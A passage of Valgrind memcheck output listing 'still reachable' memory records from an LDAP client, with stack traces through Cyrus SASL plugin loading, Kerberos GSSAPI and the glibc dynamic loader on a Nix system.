/nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x56255BE: gs2_duplicate_buffer (gs2.c:1408) ==20410== by 0x5626FC3: gs2_client_plug_alloc (gs2.c:925) ==20410== by 0x56272AE: gs2_common_plug_init (gs2.c:597) ==20410== by 0x56280A2: gs2_client_plug_init (gs2.c:961) ==20410== by 0x56280B7: sasl_client_plug_init (gs2_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== ==20410== 32 bytes in 1 blocks are still reachable in loss record 8 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489DC72: sasl_client_init (client.c:298) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 32 bytes in 1 blocks are still reachable in loss record 9 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489D2CB: sasl_client_add_plugin (client.c:217) ==20410== by 0x489DCAF: sasl_client_init (client.c:311) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 32 bytes in 1 blocks are still reachable in loss record 10 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x4E38F88: generic_gss_add_oid_set_member (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E47DFE: gss_add_oid_set_member (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E4746C: gss_indicate_mechs_by_attrs (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x5627112: gs2_indicate_mechs (gs2.c:1365) ==20410== by 0x56271AC: gs2_common_plug_init (gs2.c:573) ==20410== by 0x56280A2: gs2_client_plug_init (gs2.c:961) ==20410== by 0x56280B7: sasl_client_plug_init (gs2_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== ==20410== 40 bytes in 1 blocks are still reachable in loss record 11 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x55E6725: digestmd5_client_plug_init (digestmd5.c:4641) ==20410== by 0x55E67F4: sasl_client_plug_init (digestmd5_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== ==20410== 56 bytes in 2 blocks are still reachable in loss record 12 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x4007613: decompose_rpath.isra.10 (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x400974B: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x400D941: openaux (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x400DCD3: _dl_map_object_deps (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013ADD: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x49E11CE: _dl_catch_error (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 72 bytes in 1 blocks are still reachable in loss record 13 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489FCBB: _sasl_strdup (common.c:179) ==20410== by 0x489FD84: _sasl_getpath (common.c:1598) ==20410== by 0x48A90F1: _sasl_load_plugins (dlopen.c:469) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 82 bytes in 12 blocks are still reachable in loss record 14 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489FCBB: _sasl_strdup (common.c:179) ==20410== by 0x489D2F1: sasl_client_add_plugin (client.c:221) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 112 bytes in 1 blocks are still reachable in loss record 15 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x48A2438: _sasl_build_mechlist (common.c:2374) ==20410== by 0x489DCF0: sasl_client_init (client.c:324) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 147 bytes in 2 blocks are still reachable in loss record 16 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x4006A32: open_path (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x400927B: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x400D941: openaux (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x400DCD3: _dl_map_object_deps (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013ADD: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x49E11CE: _dl_catch_error (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 147 bytes in 2 blocks are still reachable in loss record 17 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x400BB28: _dl_new_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4007BF5: _dl_map_object_from_fd (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4009096: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x400D941: openaux (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x400DCD3: _dl_map_object_deps (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013ADD: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 160 bytes in 10 blocks are still reachable in loss record 18 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x48A8FDD: _sasl_get_plugin (dlopen.c:379) ==20410== by 0x48A930D: _sasl_load_plugins (dlopen.c:527) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 192 bytes in 1 blocks are still reachable in loss record 19 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x56271C9: gs2_common_plug_init (gs2.c:577) ==20410== by 0x56280A2: gs2_client_plug_init (gs2.c:961) ==20410== by 0x56280B7: sasl_client_plug_init (gs2_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== ==20410== 384 bytes in 12 blocks are still reachable in loss record 20 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489D2CB: sasl_client_add_plugin (client.c:217) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 392 bytes in 1 blocks are still reachable in loss record 21 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x48A0345: _sasl_alloc_utils (common.c:2003) ==20410== by 0x489D3A7: init_mechlist (client.c:68) ==20410== by 0x489DC96: sasl_client_init (client.c:305) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 392 bytes in 1 blocks are still reachable in loss record 22 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x48A0345: _sasl_alloc_utils (common.c:2003) ==20410== by 0x48A0642: _sasl_common_init (common.c:811) ==20410== by 0x489DCBB: sasl_client_init (client.c:313) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 870 bytes in 10 blocks are still reachable in loss record 23 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x401C3CA: strdup (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4009019: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013A75: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x49E11CE: _dl_catch_error (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x4E248F4: _dlerror_run (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x4E242C5: dlopen@@GLIBC_2.2.5 (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x48A8FF2: _sasl_get_plugin (dlopen.c:382) ==20410== ==20410== 870 bytes in 10 blocks are still reachable in loss record 24 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x400BB28: _dl_new_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4007BF5: _dl_map_object_from_fd (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4009096: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013A75: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x49E11CE: _dl_catch_error (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x4E248F4: _dlerror_run (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x4E242C5: dlopen@@GLIBC_2.2.5 (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== ==20410== 880 bytes in 1 blocks are still reachable in loss record 25 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x55E6779: digestmd5_client_plug_init (digestmd5.c:4654) ==20410== by 0x55E67F4: sasl_client_plug_init (digestmd5_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== ==20410== 2,280 bytes in 12 blocks are still reachable in loss record 26 of 29 ==20410== at 0x483A9A2: calloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x40112AC: _dl_check_map_versions (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013B25: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x49E11CE: _dl_catch_error (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x4E248F4: _dlerror_run (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x4E242C5: dlopen@@GLIBC_2.2.5 (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x48A8FF2: _sasl_get_plugin (dlopen.c:382) ==20410== by 0x48A930D: _sasl_load_plugins (dlopen.c:527) ==20410== ==20410== 2,395 bytes in 2 blocks are still reachable in loss record 27 of 29 ==20410== at 0x483A9A2: calloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x400B922: _dl_new_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4007BF5: _dl_map_object_from_fd (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4009096: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x400D941: openaux (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x400DCD3: _dl_map_object_deps (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013ADD: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 4,112 bytes in 1 blocks are still reachable in loss record 28 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489B76E: sasl_canonuser_add_plugin (canonusr.c:335) ==20410== by 0x48A060E: _sasl_common_init (common.c:816) ==20410== by 0x489DCBB: sasl_client_init (client.c:313) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 12,710 bytes in 10 blocks are still reachable in loss record 29 of 29 ==20410== at 0x483A9A2: calloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x400B922: _dl_new_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4007BF5: _dl_map_object_from_fd (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4009096: _dl_map_object (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4013A75: dl_open_worker (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x40135DC: _dl_open (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/ld-2.32.so) ==20410== by 0x4E24245: dlopen_doit (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x49E1134: _dl_catch_exception (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x49E11CE: _dl_catch_error (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== by 0x4E248F4: _dlerror_run (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libdl-2.32.so) ==20410== by 0x4E242C5: dlopen@@GLIBC_2.2.5 (in 